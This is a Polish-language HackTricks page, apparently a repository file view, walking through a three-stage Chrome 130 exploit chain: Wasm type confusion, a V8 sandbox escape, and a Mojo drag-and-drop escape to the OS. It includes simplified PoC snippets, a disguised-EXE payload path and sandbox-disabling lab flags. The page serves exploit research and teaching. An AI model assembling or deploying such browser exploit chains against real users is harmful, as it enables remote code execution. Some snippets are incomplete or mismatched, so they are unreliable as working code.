hacktricks/src/binary-exploitation/chrome-exploiting.md

7.8 KiB
Raw Blame History

Chrome Exploiting

{{#include ../banners/hacktricks-training.md}}

Ta strona oferuje ogólny, ale praktyczny przegląd nowoczesnego "pełnego łańcucha" procesu eksploatacji przeciwko Google Chrome 130, oparty na serii badań “101 Chrome Exploitation” (Część-0 — Wstęp). Celem jest dostarczenie pentesterom i deweloperom exploitów minimalnej wiedzy niezbędnej do powtórzenia lub dostosowania technik do własnych badań.

1. Przegląd architektury Chrome

Zrozumienie powierzchni ataku wymaga wiedzy o tym, gdzie kod jest wykonywany i które piaskownice mają zastosowanie.

+-------------------------------------------------------------------------+
|                             Chrome Browser                              |
|                                                                         |
|  +----------------------------+      +-----------------------------+    |
|  |      Renderer Process      |      |    Browser/main Process     |    |
|  |  [No direct OS access]     |      |  [OS access]                |    |
|  |  +----------------------+   |      |                             |    |
|  |  |    V8 Sandbox        |   |      |                             |    |
|  |  |  [JavaScript / Wasm] |   |      |                             |    |
|  |  +----------------------+   |      |                             |    |
|  +----------------------------+      +-----------------------------+    |
|               |           IPC/Mojo              |                       |
|               V                                    |                     |
|  +----------------------------+                   |                     |
|  |        GPU Process         |                   |                     |
|  |  [Restricted OS access]    |                   |                     |
|  +----------------------------+                   |                     |
+-------------------------------------------------------------------------+

Layered defence-in-depth:

  • V8 sandbox (Izolacja): uprawnienia pamięci są ograniczone, aby zapobiec dowolnemu odczytowi/zapisowi z JITowanego JS / Wasm.
  • Podział Renderer ↔ Przeglądarka zapewniony przez Mojo/IPC przesyłanie wiadomości; renderer nie ma dostępu do natywnego FS/sieci.
  • OS sandboksy dodatkowo ograniczają każdy proces (Windows Integrity Levels / seccomp-bpf / profile sandboxów macOS).

Zatem zdalny atakujący potrzebuje trzech kolejnych prymitywów:

  1. Korupcja pamięci wewnątrz V8, aby uzyskać dowolny RW wewnątrz sterty V8.
  2. Druga wada pozwalająca atakującemu na ucieczkę z sandboxu V8 do pełnej pamięci renderera.
  3. Ostateczna ucieczka z sandboxu (często logika, a nie korupcja pamięci), aby wykonać kod poza sandboxem Chrome OS.

2. Etap 1 WebAssembly Type-Confusion (CVE-2025-0291)

Wada w optymalizacji Turboshaft TurboFan błędnie klasyfikuje typy referencyjne WasmGC, gdy wartość jest produkowana i konsumowana wewnątrz pojedynczej pętli bloku podstawowego.

Efekt:

  • Kompilator pomija sprawdzenie typu, traktując referencję (externref/anyref) jako int64.
  • Opracowany Wasm pozwala na nakładanie nagłówka obiektu JS z danymi kontrolowanymi przez atakującego → addrOf() & fakeObj() AAW / AAR prymitywy.

Minimalny PoC (fragment):

(module
(type $t0 (func (param externref) (result externref)))
(func $f (param $p externref) (result externref)
(local $l externref)
block $exit
loop $loop
local.get $p      ;; value with real ref-type
;; compiler incorrectly re-uses it as int64 in the same block
br_if $exit       ;; exit condition keeps us single-block
br   $loop
end
end)
(export "f" (func $f)))

Optymalizacja wyzwalaczy i obiekty spray z JS:

const wasmMod = new WebAssembly.Module(bytes);
const wasmInst = new WebAssembly.Instance(wasmMod);
const f = wasmInst.exports.f;

for (let i = 0; i < 1e5; ++i) f({});   // warm-up for JIT

// primitives
let victim   = {m: 13.37};
let fake     = arbitrary_data_backed_typedarray;
let addrVict = addrOf(victim);

Outcome: dowolne odczyty/zapisy w V8.


3. Etap 2 Ucieczka z piaskownicy V8 (problem 379140430)

Gdy funkcja Wasm jest kompilowana w trybie tier-up, generowany jest wrapper JS ↔ Wasm. Błąd związany z niezgodnością sygnatury powoduje, że wrapper zapisuje poza końcem zaufanego obiektu Tuple2, gdy funkcja Wasm jest ponownie optymalizowana wciąż na stosie.

Nadpisanie 2 × 64-bitowych pól obiektu Tuple2 umożliwia odczyt/zapis na dowolnym adresie wewnątrz procesu Renderera, skutecznie omijając piaskownicę V8.

Kluczowe kroki w exploicie:

  1. Wprowadź funkcję w stan Tier-Up, przełączając między kodem turbofan/baseline.
  2. Wyzwól tier-up, utrzymując odniesienie na stosie (Function.prototype.apply).
  3. Użyj AAR/AAW z Etapu-1, aby znaleźć i uszkodzić sąsiedni Tuple2.

Identyfikacja wrappera:

function wrapperGen(arg) {
return f(arg);
}
%WasmTierUpFunction(f);          // force tier-up (internals-only flag)
wrapperGen(0x1337n);

Po uszkodzeniu posiadamy w pełni funkcjonalny renderer R/W primitive.


4. Etap 3 Ucieczka z piaskownicy Renderer → OS (CVE-2024-11114)

Interfejs IPC Mojo blink.mojom.DragService.startDragging() może być wywoływany z Renderer z częściowo zaufanymi parametrami. Tworząc strukturę DragData wskazującą na dowolną ścieżkę pliku, renderer przekonuje przeglądarkę do wykonania natywnego przeciągania i upuszczania poza piaskownicą renderera.

Wykorzystując to, możemy programowo „przeciągnąć” złośliwy plik EXE (wcześniej umieszczony w lokalizacji z możliwością zapisu dla wszystkich) na pulpit, gdzie Windows automatycznie wykonuje określone typy plików po ich upuszczeniu.

Przykład (uproszczony):

const payloadPath = "C:\\Users\\Public\\explorer.exe";

chrome.webview.postMessage({
type: "DragStart",
data: {
title: "MyFile",
file_path: payloadPath,
mime_type: "application/x-msdownload"
}
});

Nie jest konieczne dodatkowe uszkodzenie pamięci błąd logiczny daje nam możliwość wykonania dowolnego pliku z uprawnieniami użytkownika.


5. Pełny przepływ łańcucha

  1. Użytkownik odwiedza złośliwą stronę internetową.
  2. Etap 1: Moduł Wasm wykorzystuje CVE-2025-0291 → sterta V8 AAR/AAW.
  3. Etap 2: Niedopasowanie opakowania uszkadza Tuple2 → ucieczka z piaskownicy V8.
  4. Etap 3: startDragging() IPC → ucieczka z piaskownicy OS i wykonanie ładunku.

Wynik: Zdalne wykonanie kodu (RCE) na hoście (Chrome 130, Windows/Linux/macOS).


6. Ustawienia laboratorium i debugowania

# Spin-up local HTTP server w/ PoCs
npm i -g http-server
git clone https://github.com/Petitoto/chromium-exploit-dev
cd chromium-exploit-dev
http-server -p 8000 -c -1

# Windows kernel debugging
"C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\windbgx.exe" -symbolpath srv*C:\symbols*https://msdl.microsoft.com/download/symbols

Przydatne flagi podczas uruchamiania development builda Chrome:

chrome.exe --no-sandbox --disable-gpu --single-process --js-flags="--allow-natives-syntax"

Wnioski

  • Błędy JIT WebAssembly pozostają niezawodnym punktem wejścia system typów jest wciąż młody.
  • Uzyskanie drugiego błędu korupcji pamięci wewnątrz V8 (np. niedopasowanie wrappera) znacznie upraszcza ucieczkę z piaskownicy V8.
  • Słabości na poziomie logiki w uprzywilejowanych interfejsach IPC Mojo są często wystarczające do ostatecznej ucieczki z piaskownicy zwracaj uwagę na błędy niepamięciowe.

Odniesienia